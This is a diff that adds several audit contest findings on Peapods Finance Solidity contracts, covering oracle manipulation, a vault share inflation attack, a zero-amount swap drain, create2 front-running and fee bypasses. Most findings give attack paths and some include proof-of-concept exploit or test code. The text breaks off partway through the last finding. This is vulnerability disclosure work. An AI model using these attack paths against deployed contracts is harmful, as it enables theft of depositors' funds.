+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+```
+
+And then it calculates the loss or profit from this rate change. This calculation is correct for profit scenario but in loss scenario ( bad debt ) it's not correctly handled. I will demostrate the reason in attack path.
+
+### Internal Pre-conditions
+
+1. Bad debt accumulation is needed
+
+### External Pre-conditions
+
+No external condition is needed
+
+### Attack Path
+
+1. Let say previous vault share value is 1.5 and vault utilization is equal to 1500 for simplicity
+2. It drops 1.4 after bad debt accumulation scenario which means new vault utilization should be 1400 after update
+3. Vault Asset Change Ratio = 1.5/1.4 - 1 = 0.1
+4. Change Utilized State = 1500 * 0.1 = 150
+5. Vault Utilization = 1500 - 150 = 1350
+
+There is a massive difference between the correct calculation.
+
+### Impact
+
+It will cause loss of funds for the whole lending vault contract depositors
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```solidity
+uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? ((PRECISION * _vaultWhitelistCbr[_vault] ) / _prevVaultCbr)
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+```
+
+This is the correct asset ratio change calculation
\ No newline at end of file
diff --git a/376.md b/376.md
new file mode 100644
index 0000000..5b576ca
--- /dev/null
+++ b/376.md
@@ -0,0 +1,144 @@
+Muscular Peanut Iguana
+
+High
+
+# Critical Vulnerability in Oracle Data Handling Leading to Price Manipulation and Incorrect Liquidations
+
+### Summary
+
+The DualOracleChainlinkUniV3 oracle combines Chainlink and Uniswap V3 TWAP prices but contains critical flaws:
+
+**Hardcoded Uniswap Static Oracle Address:** Creates a single point of failure.
+
+**Missing TWAP Staleness Checks:** Allows outdated or manipulated TWAP data.
+
+**Single-Pool Reliance:** Vulnerable to low-liquidity pool manipulation.
+
+**Insufficient Chainlink Safeguards:** Does not validate round completeness.
+
+An attacker could exploit these to manipulate reported prices, leading to unfair liquidations or undercollateralized loans.
+
+
+## Code Snippet
+
+**Hardcoded Static Oracle:**
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L141
+**Issue:** The Uniswap V3 static oracle address is hardcoded, introducing centralization risk.
+
+**Missing TWAP Staleness Checks:**
+```solidity
+// DualOracleChainlinkUniV3.sol (No timestamp checks for TWAP)
+_price1 = IStaticOracle(...).quoteSpecificPoolsWithTimePeriod(...);
+Validity: Confirmed. The contract does not verify the freshness of TWAP data.
+```
+
+**Single-Pool Reliance:**
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L139-L140
+
+**Issue:** Relies on one pool, making it vulnerable to manipulation.
+
+**Insufficient Chainlink Safeguards:**
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L122-L123
+**Issue:** Missing answeredInRound validation.
+
+
+### Root Cause
+
+**Centralized Oracle Dependency:**
+
+The Uniswap V3 static oracle address (0xB210CE...) is hardcoded, making it immutable and vulnerable to obsolescence or compromise.
+
+**Lack of Time Checks:**
+
+TWAP data freshness is not validated, allowing stale prices to influence critical protocol decisions.
+
+**Single-Source Price Reliance:**
+
+Using one Uniswap pool for TWAP calculations exposes the protocol to low-liquidity pool manipulation.
+
+### Internal Pre-conditions
+
+The protocol uses DualOracleChainlinkUniV3 for critical pricing (e.g., collateral valuation).
+
+TWAP duration is set to a short window (e.g., <1 hour).
+
+### External Pre-conditions
+
+Uniswap pool has low liquidity (<$1M).
+
+Chainlink nodes experience delays or return stale data.
+
+### Attack Path
+
+**Manipulate Uniswap Pool:**
+Attacker creates a low-liquidity Uniswap V3 pool and manipulates its price over a short TWAP window.
+
+**Exploit Stale TWAP:**
+If the TWAP duration is short (e.g., 10 minutes), the attacker executes large trades to skew the average price.
+
+**Trigger Incorrect Liquidations:**
+The oracle reports a manipulated low price, causing overcollateralized positions to appear undercollateralized.
+
+**Profit from Liquidation:**
+Attacker liquidates positions at a discount, seizing excess collateral.
+
+### Impact
+
+1. Financial Losses:
+Users are unfairly liquidated, losing collateral.
+Borrowers can take out undercollateralized loans, risking protocol insolvency.
+
+2. Reputation Damage:
+Loss of trust in the protocol’s price reliability.
+
+### PoC
+
+```solidity
+// Exploit Scenario: Manipulate Uniswap TWAP with Time Delay
+contract Exploit {
+ DualOracleChainlinkUniV3 oracle = DualOracleChainlinkUniV3(...);
+ IUniswapV3Pool pool = IUniswapV3Pool(oracle.UNI_V3_PAIR_ADDRESS());
+
+ function attack() external {
+ // Step 1: Skew Uniswap pool price over TWAP window
+ uint256 startTime = block.timestamp;
+ while (block.timestamp < startTime + oracle.TWAP_DURATION()) {
+ swapLargeAmountsToSkewPrice(); // Repeatedly manipulate price
+ }
+
+ // Step 2: Trigger TWAP update (now includes manipulated average)
+ (bool isBadData, uint256 priceLow, uint256 priceHigh) = oracle.getPrices();
+
+ // Step 3: Liquidate undercollateralized positions
+ FraxlendPair.liquidate(victimAddress, ...);
+ }
+
+ function swapLargeAmountsToSkewPrice() internal {
+ // Example: Swap large amounts to skew TWAP
+ pool.swap(...); // Detailed swap logic to manipulate price
+ }
+}
+```
+
+### Mitigation
+
+1. Decentralize Oracle Sources:
+Make the Uniswap static oracle address configurable via governance.
+
+2. Aggregate TWAPs across multiple high-liquidity pools.
+Add Staleness Checks:
+```solidity
+// DualOracleChainlinkUniV3.sol (Modified)
+(uint32 twapTimestamp, , , ) = IUniswapV3Pool(UNI_V3_PAIR_ADDRESS).observe([TWAP_DURATION]);
+require(block.timestamp - twapTimestamp <= maxOracleDelay, "TWAP stale");
+```
+
+3. Validate Chainlink Round Completeness:
+```solidity
+(, int256 answer, , uint256 updatedAt, uint80 answeredInRound) =
+ AggregatorV3Interface(CHAINLINK_MULTIPLY_ADDRESS).latestRoundData();
+require(answer > 0 && answeredInRound >= roundId, "Chainlink round incomplete");
+```
+4. Enforce Liquidity Thresholds:
+Reject pools with liquidity below a governance-defined minimum.
diff --git a/377.md b/377.md
new file mode 100644
index 0000000..57b50fc
--- /dev/null
+++ b/377.md
@@ -0,0 +1,52 @@
+Huge Cyan Cod
+
+Medium
+
+# Incorrect check in set partner fee function
+
+### Summary
+
+Incorrect check in set partner fee function
+
+### Root Cause
+
+In [Decentralized Index contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L443C1-L447C6), set partner fee function is incorrectly checking the maximum partner fee amount. It checks the current value instead.
+
+```solidity
+ function setPartnerFee(uint16 _fee) external onlyPartner {
+ require(_fee < _fees.partner, "L");
+ _fees.partner = _fee;
+ emit SetPartnerFee(_msgSender(), _fee);
+ }
+```
+
+Normally, maximum fee for partner is choosen as following value:
+
+```solidity
+ require(__fees.partner <= (uint256(DEN) * 5) / 100);
+```
+
+### Internal Pre-conditions
+
+No condition
+
+### External Pre-conditions
+
+No condition
+
+### Attack Path
+
+Let say partner wants to reduce the fee from 4% level to 3%. After this change, he can't update this value back to 4% due to incorrect check.
+
+
+### Impact
+
+Partner can't increase the fee back to desired point after reducing it. Normally, it should check the max value for the partner but instead it checks the previous value.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Instead check the new partner fee is lower than 5% max value.
\ No newline at end of file
diff --git a/378.md b/378.md
new file mode 100644
index 0000000..5b98a10
--- /dev/null
+++ b/378.md
@@ -0,0 +1,120 @@
+Bouncy Rainbow Poodle
+
+High
+
+# Inflation attack
+
+### Summary
+
+During depositing the contract accrue rewards if any by calling `_processRewardsToPodLp`, which give the attacker the ability to inflate the denominator.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L124
+
+
+### Root Cause
+
+Every operation in the contract start by calling _processRewardsToPodLp function to accrue rewards (eg. deposit, mint ...).
+```solidity
+ function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+ uint256 _bal =
+ IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0); <@ audit
+ if (_bal == 0) {
+ continue;
+ }
+ uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+ _totalAssets += _lpAmtOut; <@ audit
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+```
+As we can see `_totalAssets` can be manipulated by donating token, but the _deposit function assure the shares that will be minted different from 0 which is something can be bypassed and cause losses to the user.
+```solidity
+ function _deposit(uint256 _assets, uint256 _shares, address _receiver) internal {
+ require(_assets != 0, "MA");
+ require(_shares != 0, "MS"); <@ audit
+
+ _totalAssets += _assets;
+ IERC20(_asset()).safeTransferFrom(_msgSender(), address(this), _assets);
+ _mint(_receiver, _shares);
+ emit Deposit(_msgSender(), _receiver, _assets, _shares);
+ }
+```
+### Internal Pre-conditions
+
+The contract should have not issued any share yet.
+
+### External Pre-conditions
+
+there is no external Pre-conditions needed.
+
+### Attack Path
+
+1- The hacker mints for himself one share: deposit(1). Thus, totalAsset()==1, totalSupply()==1.
+2- The hacker front-runs the deposit of the victim who wants to deposit 20,000 * 1e6.
+3- The hacker inflates the denominator right in front of the victim: asset.transfer(10_000e6). Now totalAsset()==10_000e6 + 1, totalSupply()==1.
+4- Next, the victim's tx takes place. The victim gets 1 * 20_000e6 / (10_000e6 + 1) == 1 shares. The victim gets only one share, which is the same amount as the hacker has.
+6- The hacker burns their share and gets half of the pool, which is approximately 30_000e6 / 2 == 15_000e6, so their profit is +5,000 (25% of the victim's deposit).
+
+
+### Impact
+
+Loss of funds (25% of the victim's deposit).
+
+### PoC
+
+```solidity
+ function testProcessAllRewardsTokensToPodLp() public {
+
+ // Setup attacker
+ address attacker = makeAddr("attacker");
+ deal(address(autoCompoundingPodLp.asset()), attacker, 10e18);
+ vm.prank(attacker);
+ IERC20(autoCompoundingPodLp.asset()).approve(address(autoCompoundingPodLp), 10e18);
+
+ // Setup victim
+ address victim = makeAddr("victim");
+ deal(address(autoCompoundingPodLp.asset()), victim, 200e18);
+ vm.prank(victim);
+ IERC20(autoCompoundingPodLp.asset()).approve(address(autoCompoundingPodLp), 200e18);
+
+ // Mock the necessary functions and set up the test scenario
+ address[] memory rewardTokens = new address[](2);
+ rewardTokens[0] = address(rewardToken1);
+ rewardTokens[1] = address(rewardToken2);
+
+ mockTokenRewards.setProcessedRewardTokens(rewardTokens);
+
+ uint256 lpAmountOut = 50 * 1e18;
+ mockDexAdapter.setSwapV3SingleReturn(lpAmountOut);
+ deal(autoCompoundingPodLp.pod().PAIRED_LP_TOKEN(), address(autoCompoundingPodLp), lpAmountOut);
+ mockIndexUtils.setAddLPAndStakeReturn(lpAmountOut);
+
+ // Attacker is first to deposit a dust amount.
+ vm.startPrank(attacker);
+ autoCompoundingPodLp.deposit(1, attacker);
+ vm.stopPrank()
+
+ uint256 rewardAmount = 100 * 1e18;
+ rewardToken1.mint(address(autoCompoundingPodLp), rewardAmount);
+ rewardToken2.mint(address(autoCompoundingPodLp), rewardAmount);
+
+ // Victim deposits an arbitrary amount of tokens
+ vm.startPrank(victim);
+ autoCompoundingPodLp.deposit(200e18, attacker);
+ vm.stopPrank();
+
+ console.log("Balance of victim: ", autoCompoundingPodLp.balanceOf(victim));
+ console.log("Balance of attacker: ", autoCompoundingPodLp.balanceOf(attacker));
+ }
+```
+
+### Mitigation
+
+I think you should implement dead share technique used by uniswap V2
\ No newline at end of file
diff --git a/379.md b/379.md
new file mode 100644
index 0000000..97079e8
--- /dev/null
+++ b/379.md
@@ -0,0 +1,48 @@
+Huge Cyan Cod
+
+High
+
+# Pod price can be inflated and pods can be rendered useless
+
+### Summary
+
+Pod price can be inflated and pods can be rendered useless
+
+### Root Cause
+
+The root cause of issue is allowing anyone to burn their [pod](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L321) tokens. First depositor can easily inflate the price to very high points and can render the contract useless.
+
+```solidity
+ function burn(uint256 _amount) external lock {
+ _totalSupply -= _amount;
+ _burn(_msgSender(), _amount);
+ }
+```
+
+### Internal Pre-conditions
+
+No condition needed
+
+### External Pre-conditions
+
+No condition needed
+
+### Attack Path
+
+1. Attacker is the first depositor
+2. He bond his tokens gets equal amount of shares based on the values.
+3. Then he burns all of his token - 1
+4. There is only 1 share right now
+5. This 1 wei share's price will be equal to attackers total deposit amount
+
+### Impact
+
+In bond function there is a slippage for the users and thanks to this slippage users can still safely bond their tokens. But the problem is there is no limitation in attack vector. Attacker can inflate any pod price and can render any contract completely useless.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Do not let users to burn their tokens or put some limitations to that value
\ No newline at end of file
diff --git a/380.md b/380.md
new file mode 100644
index 0000000..70c21ce
--- /dev/null
+++ b/380.md
@@ -0,0 +1,90 @@
+Brilliant Fiery Sheep
+
+High
+
+# `_closeFeeAmt` is bypassed when removing leverage if borrow tokens need to be acquired
+
+### Summary
+
+`_closeFeeAmt` is charged on the `pTKN` amount the user receives when removing leverage. A user will however avoid paying this fee when the `pTKN` to be received is converted to the borrow amount before the fee is calculated.
+
+### Root Cause
+
+In `LeverageManager.callback`, the `_closeFeeAmt` is only charged on the `pTKN` amount sent to the user:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L222-L235
+
+```solidity
+ } else if (_posProps.method == FlashCallbackMethod.REMOVE) {
+ (uint256 _ptknToUserAmt, uint256 _pairedLpToUser) = _removeLeveragePostCallback(_userData);
+ if (_ptknToUserAmt > 0) {
+ // if there's a close fee send returned pod tokens for fee to protocol
+ if (closeFeePerc > 0) {
+ uint256 _closeFeeAmt = (_ptknToUserAmt * closeFeePerc) / 1000;
+ IERC20(_pod).safeTransfer(feeReceiver, _closeFeeAmt);
+ _ptknToUserAmt -= _closeFeeAmt;
+ }
+ IERC20(_pod).safeTransfer(_posProps.owner, _ptknToUserAmt);
+ }
+ if (_pairedLpToUser > 0) {
+ IERC20(_getBorrowTknForPod(_posProps.positionId)).safeTransfer(_posProps.owner, _pairedLpToUser);
+ }
+```
+
+When the flashloan amount to be repaid is higher that the borrow tokens received during the removal of leverage process. the `LeverageManager` initiates a swap of the `pTKN` amount into borrow tokens:
+
+```solidity
+ // pay back flash loan and send remaining to borrower
+ uint256 _repayAmount = _d.amount + _d.fee;
+ if (_pairedAmtReceived < _repayAmount) {
+ _podAmtRemaining = _acquireBorrowTokenForRepayment(
+ _props,
+ _posProps.pod,
+ _d.token,
+ _repayAmount - _pairedAmtReceived,
+ _podAmtReceived,
+ _podSwapAmtOutMin,
+ _userProvidedDebtAmtMax
+ );
+ }
+ IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _repayAmount);
+ _borrowAmtRemaining = _pairedAmtReceived > _repayAmount ? _pairedAmtReceived - _repayAmount : 0;
+ emit RemoveLeverage(_props.positionId, _props.owner, _collateralAssetRemoveAmt);
+ }
+```
+
+The end result is that the `_podAmtRemaining` will be decreased so that by the time the `_closeFeeAmt` is being charged, some fees are lost. What this means is that the user successfully removes leverage and does pay the full close fees.
+
+This means the fee receiver loses close fees for removal of leverage.
+
+
+### Internal Pre-conditions
+
+1. The amount required to repay the flashloan is less than the borrow tokens available.
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. User initiates removal of leverage.
+2. `pTKN` tokens are swapped for the borrow token before the close fee is charged.
+3. Fee receiver loses close fees.
+
+Also note that by specifying a high amount of `_podSwapAmtOutMin`, the user can ensure a higher number of `pTKN` tokens are swapped for the borrow token.
+
+### Impact
+
+The fee receiver loses close fees.
+The fee can be as high as 25% meaning that even a dollar amount of 100 worth of `pTKN` tokens swapped to the borrow token would result in a 25 dollar value loss when removing leverage.
+
+### PoC
+
+- `pTKN` tokens worth 100USD are swapped into the borrow token.
+- Assume a close fee of 250 (25%)
+- The fee receiver will lose 25USD worth of fees because they are calculated after the swap.
+
+### Mitigation
+
+Calculate the `_closeFeeAmt` on the `_podAmtRemaining` value before the `_acquireBorrowTokenForRepayment` is called and ensure there are enough tokens to cover both the repayment of the flash loan and the payment of the `_closeFeeAmt`.
\ No newline at end of file
diff --git a/381.md b/381.md
new file mode 100644
index 0000000..ada4101
--- /dev/null
+++ b/381.md
@@ -0,0 +1,100 @@
+Striped Champagne Pig
+
+High
+
+# Wrong logic in `CamelotDexAdapter::swapV3Single` could grief the protocol through loss of funds
+
+## Impact
+### Summary
+The `CamelotDexAdapter::swapV3Single` function allows a user to swap some amounts of one token, say `tokenIn` in exchange for some amounts of another token, say `tokenOut`. However, a user can get some amounts of `tokenOut` without sending any amounts of `tokenIn` to the protocol. This results in a loss of funds for the protocol.
+
+### Vulnerability Details
+The vulnerability lies in the fact that if a user specifies a value greater than zero for `tokenIn`, the said amount is transfered from the user to the protocol. However, when a user specifies zero as the amount of `tokenIn`, no amount of `tokenIn` is transfered from the user to the protocol whereas `tokenOut` is transfered to the user.
+
+This vulnerability can be seen [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L80-L107) or by taking a look at the code snippet below.
+
+```javascript
+ function swapV3Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint24,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+ ) external override returns (uint256 _amountOut) {
+ uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+ if (_amountIn == 0) {
+90: _amountIn = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+92: IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+ }
+ IERC20(_tokenIn).safeIncreaseAllowance(V3_ROUTER, _amountIn);
+ ISwapRouterAlgebra(V3_ROUTER).exactInputSingle(
+ ISwapRouterAlgebra.ExactInputSingleParams({
+ tokenIn: _tokenIn,
+ tokenOut: _tokenOut,
+ recipient: _recipient,
+ deadline: block.timestamp,
+ amountIn: _amountIn,
+ amountOutMinimum: _amountOutMin,
+ limitSqrtPrice: 0
+ })
+ );
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+ }
+```
+
+
+### Impact
+A malicious user can drain the protocol of funds by specifying `_amountIn = 0` in the `CamelotDexAdapter::swapV3Single` function. From the computation on line 90 in the code snippet above, the protocol assumes the user has deposited `_tokenIn.balanceOf(address(this))`, calculates the equivalent amount of `_tokenOut` and sends to the user.
+
+## Proof of Concept
+
+1. `userA` calls the `CamelotDexAdapter::swapV3Single` function while specifying `_amountIn` as `0`
+2. `userA` gets some amount of `_tokenOut` corresponding to all the amount of `_tokenIn` in the protocol without sending any amount of `_tokenIn` into the protocol.
+
+
+## Tools Used
+
+Manual Review
+
+
+## Recommended Mitigation Steps
+Recommendation is to carry out the below two steps:
+1. Remove the `else` statement so that line 92 in the code snippet above executes irrespective of the value passed in by the user for `_amountIn`.
+2. modify line 90 in the code snippet above to `_amountIn = IERC20(_tokenIn).balanceOf(_msgSender());` to avoid reverts on line 92 when the user balance is less than the protocol balance. (This recommendation assumes that the protocol implies that a value of `_amountIn = 0` means the user intends to swap all the `_tokenIn` in their balance)
+
+```diff
+ function swapV3Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint24,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+ ) external override returns (uint256 _amountOut) {
+ uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+ if (_amountIn == 0) {
+- _amountIn = IERC20(_tokenIn).balanceOf(address(this));
++ _amountIn = IERC20(_tokenIn).balanceOf(_msgSender());
++ }
+- } else {
+- IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+- }
++ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+ IERC20(_tokenIn).safeIncreaseAllowance(V3_ROUTER, _amountIn);
+ ISwapRouterAlgebra(V3_ROUTER).exactInputSingle(
+ ISwapRouterAlgebra.ExactInputSingleParams({
+ tokenIn: _tokenIn,
+ tokenOut: _tokenOut,
+ recipient: _recipient,
+ deadline: block.timestamp,
+ amountIn: _amountIn,
+ amountOutMinimum: _amountOutMin,
+ limitSqrtPrice: 0
+ })
+ );
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+ }
+
+```
diff --git a/382.md b/382.md
new file mode 100644
index 0000000..e9d8086
--- /dev/null
+++ b/382.md
@@ -0,0 +1,85 @@
+Nutty Steel Sealion
+
+Medium
+
+# Predictable ASP token deployment parameters leads to DoS of leverage support for Pods
+
+### Summary
+
+The `LeverageFactory` contract uses predictable parameters when deploying ASP tokens through `create2`, allowing attackers to front-run Pod leverage support by deploying ASP tokens with the same parameters, effectively blocking leverage functionality for legitimate Pods.
+
+### Root Cause
+
+The [`LeverageFactory::_getOrCreateAspTkn`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L241-L248) function uses predictable parameters for ASP token deployment, including a hardcoded salt value of 0.
+
+ The [`create`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLpFactory.sol#L19) function in `AutoCompoundingPodLpFactory` is permissionless.
+
+Since the deployment uses `create2`, only one contract can be deployed with the same parameters, making it vulnerable to front-running attacks.
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+
+### Attack Path
+
+1. Attacker calls `create` directly on the factory with predictable parameters for a Pod.
+2. Attacker's transaction deploys the ASP token using `create2`.
+3. The legitimate `addLvfSupportForPod` transaction fails because the ASP token address is already deployed.
+4. Leverage support for the pod is permanently blocked.
+
+### Impact
+
+ Permanent denial of service for leverage functionality on targeted Pods.
+
+### PoC
+
+```solidity
+tion test_DoSLvfSupportForPod() public {
+ string memory name = IERC20Metadata(pod).name();
+ string memory symbol = IERC20Metadata(pod).symbol();
+
+ string memory _aspName = string.concat("Auto Compounding LP for ", name);
+ string memory _aspSymbol = string.concat("as", symbol);
+
+ uint96 salt = 0;
+
+ aspTknFactory.create(
+ _aspName,
+ _aspSymbol,
+ false,
+ pod,
+ dexAdapter,
+ idxUtils,
+ salt
+ );
+
+ address _lpStakingPool = pod.lpStakingPool();
+ vm.expectRevert();
+ (,, address _fraxlendPair) = leverageFactory.addLvfSupportForPod(
+ address(pod),
+ address(dexAdapter),
+ address(idxUtils),
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ dai,
+ false,
+ false,
+ _lpStakingPool,
+ address(0)
+ ),
+ abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res)),
+ abi.encode(uint32(0), address(0), uint64(0), uint256(0), uint256(0), uint256(0))
+ );
+}
+```
+
+### Mitigation
+
+Add access controls to ASP token creation, or switch to the `create` opcode instead of `create2`.
\ No newline at end of file
diff --git a/383.md b/383.md
new file mode 100644
index 0000000..d863020
--- /dev/null
+++ b/383.md
@@ -0,0 +1,89 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# LendingAssetVault is not comply with ERC4626 when asset is a pod
+
+### Root Cause
+
+> previewDeposit MUST be inclusive of deposit fees. Integrators should be aware of the existence of deposit fees.
+
+> previewMint MUST be inclusive of deposit fees. Integrators should be aware of the existence of deposit fees
+
+> previewWithdraw MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.
+
+> previewRedeem MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.
+
+Index tokens can have another index token as a pairLpToken and also index token'owner can attach a Frax lending pair to his/her index token through `LeverageFactory::addLvfSupportForPod` and then a new Frax lending pair will be deployed with a index token as borrow asset
+
+```solidity
+ function addLvfSupportForPod(
+ address _pod,
+ address _dexAdapter,
+ address _indexUtils,
+ bytes memory _aspTknOracleRequiredImmutables,
+ bytes memory _aspTknOracleOptionalImmutables,
+ bytes memory _fraxlendPairConfigData
+ ) external onlyOwner returns (address _aspTkn, address _aspTknOracle, address _fraxlendPair) {
+ @>>> address _borrowTkn = IDecentralizedIndex(_pod).PAIRED_LP_TOKEN();
+ ...
+ @>>> _fraxlendPair = _createFraxlendPair(_borrowTkn, _aspTkn, _aspTknOracle, _fraxlendPairConfigData);
+
+ // this effectively is what "turns on" LVF for the pair
+ ILeverageManagerAccessControl(leverageManager).setLendingPair(_pod, _fraxlendPair);
+
+ emit AddLvfSupportForPod(_pod, _aspTkn, _aspTknOracle, _fraxlendPair);
+ }
+```
+
+and this Frax lending pair can be added to LendingAssetVault as a whitelisted pair to deposit liquidity by LendingAssetVault'owner and there is a tip here and that is index tokens can have tranferTax
+
+```solidity
+
+ function _update(address _from, address _to, uint256 _amount) internal override {
+
+ @>> } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+
+### Internal Condition
+
+hasTransferTax is true
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L174
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L126
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L102
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L116
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L132
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L148
+
+### PoC
+
+> previewRedeem MUST return as close to and no more than the exact amount of assets that would be withdrawn in a redeem call in the same transaction. I.e. redeem should return the same or more assets as previewRedeem if called in the same transaction.
+
+> previewWithdraw MUST return as close to and no fewer than the exact amount of Vault shares that would be burned in a withdraw call in the same transaction. I.e. withdraw should return the same or fewer shares as previewWithdraw if called in the same transaction.
+
+As we know because of tax received value is less than value which user gets through previewRedeem and previewWithdraw and this causes LendingAssetvault don't comply with ERC4626
+
+### Impact
+
+LendingAssetVault isn't comply with ERC4626
+
+### Mitigation
+
+Consider to tax in preview functions
+
diff --git a/384.md b/384.md
new file mode 100644
index 0000000..c4ee497
--- /dev/null
+++ b/384.md
@@ -0,0 +1,114 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# User's assets will be stuck in FraxLendPair
+
+### Root Cause
+
+Index tokens can have another index token as a pairLpToken and also index token'owner can attach a Frax lending pair to his/her index token through `LeverageFactory::addLvfSupportForPod` and then a new Frax lending pair will be deployed with a index token as borrow asset
+
+```solidity
+ function addLvfSupportForPod(
+ address _pod,
+ address _dexAdapter,
+ address _indexUtils,
+ bytes memory _aspTknOracleRequiredImmutables,
+ bytes memory _aspTknOracleOptionalImmutables,
+ bytes memory _fraxlendPairConfigData
+ ) external onlyOwner returns (address _aspTkn, address _aspTknOracle, address _fraxlendPair) {
+ @>>> address _borrowTkn = IDecentralizedIndex(_pod).PAIRED_LP_TOKEN();
+ ...
+ @>>> _fraxlendPair = _createFraxlendPair(_borrowTkn, _aspTkn, _aspTknOracle, _fraxlendPairConfigData);
+
+ // this effectively is what "turns on" LVF for the pair
+ ILeverageManagerAccessControl(leverageManager).setLendingPair(_pod, _fraxlendPair);
+
+ emit AddLvfSupportForPod(_pod, _aspTkn, _aspTknOracle, _fraxlendPair);
+ }
+```
+
+there is a tip here and that is index tokens can have tranferTax
+
+```solidity
+
+ function _update(address _from, address _to, uint256 _amount) internal override {
+
+ @>> } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L804
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L586
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L174
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L126
+
+### Internal Condition
+
+hasTransferTax is true
+
+### PoC
+
